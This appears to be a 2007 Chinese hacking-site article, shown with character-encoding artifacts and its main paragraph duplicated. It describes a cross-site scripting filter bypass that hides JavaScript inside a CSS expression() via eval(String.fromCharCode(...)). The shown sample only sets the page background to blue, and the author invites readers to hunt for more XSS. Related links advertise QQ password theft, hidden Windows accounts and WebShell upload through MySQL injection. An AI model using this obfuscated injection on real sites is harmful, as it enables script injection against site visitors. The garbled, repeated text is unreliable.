expression&eval跨站的一個(gè)方法
更新時(shí)間：2007年03月08日 00:00:00 作者：
expression這個(gè)CSS的屬性很多程序都沒(méi)有過(guò)濾好,很容易被跨,不知道用就參考劍心的幻影論壇跨站腳本漏洞測(cè)試過(guò)程.
我這里要說(shuō)的是另外一種方法,使用String.fromCharCode方法把ASCⅡ碼轉(zhuǎn)換為字符再用EVAL函數(shù)執(zhí)行.
<img src="#" style="Xss:expression(eval(
String.fromCharCode(100,111,99,117,109,101,110,116,46,98,103,67,111,108,111,114,61,34,98,108,117,101,34)));">
嘿嘿,大把的XSS等你去挖掘,ENJOY IT :)
我這里要說(shuō)的是另外一種方法,使用String.fromCharCode方法把ASCⅡ碼轉(zhuǎn)換為字符再用EVAL函數(shù)執(zhí)行.
<img src="#" style="Xss:expression(eval(
String.fromCharCode(100,111,99,117,109,101,110,116,46,98,103,67,111,108,111,114,61,34,98,108,117,101,34)));">
嘿嘿,大把的XSS等你去挖掘,ENJOY IT :)
相關(guān)文章
價(jià)值600元的東亞黑客聯(lián)盟VIP教程...2007-06-06
2008-01-01
想用別人的 qq號(hào)碼，最主要的就是把別人的密碼偷來(lái)，那么怎么盜別人的qq密碼呢？不過(guò)，沒(méi)有人會(huì)告訴你：我的密碼是什么什么，請(qǐng)你盡情的用我的號(hào)碼吧！那么，黑客是怎么去把別人的密碼偷來(lái)呢2012-03-03
本站只是提供知識(shí)，方便大家以后的查殺木馬，不是用來(lái)搞破壞2008-01-01
一些小技巧與常見(jiàn)問(wèn)題解決方法...2007-10-10
幾款雙功能免殺超強(qiáng)版asp小馬，對(duì)于需要查找后門的朋友可以參考下。2010-09-09
我寫這文章并不是教大家怎么跑去掛馬啊，掛馬是不對(duì)的！不過(guò)有的時(shí)候真的很想做些讓人覺(jué)得痛快的事情，因?yàn)槲揖团龅胶芏嗟墓芾韱T，你跟他說(shuō)服務(wù)器有問(wèn)題吧！他不信，你改些東西警告他吧，他比你還勤快，你一改他馬上覆蓋回去，讓人真的很郁悶。2008-04-04
想成為起碼要懂的16個(gè)問(wèn)題...2007-03-03
win2003下創(chuàng)建永遠(yuǎn)的隱藏帳戶的圖文教程
win2003下創(chuàng)建永遠(yuǎn)的隱藏帳戶的圖文教程...2007-11-11
MySQL注入中導(dǎo)出字段內(nèi)容的研究通過(guò)注入導(dǎo)出WebShell
大家都知道，在MySQL中，無(wú)法像MSSQL那樣執(zhí)行script.asp?id=1;insert into table (field) values('angel');--來(lái)插入數(shù)據(jù)，因?yàn)镸ySQL里最多就是用union聯(lián)合查詢。2008-05-05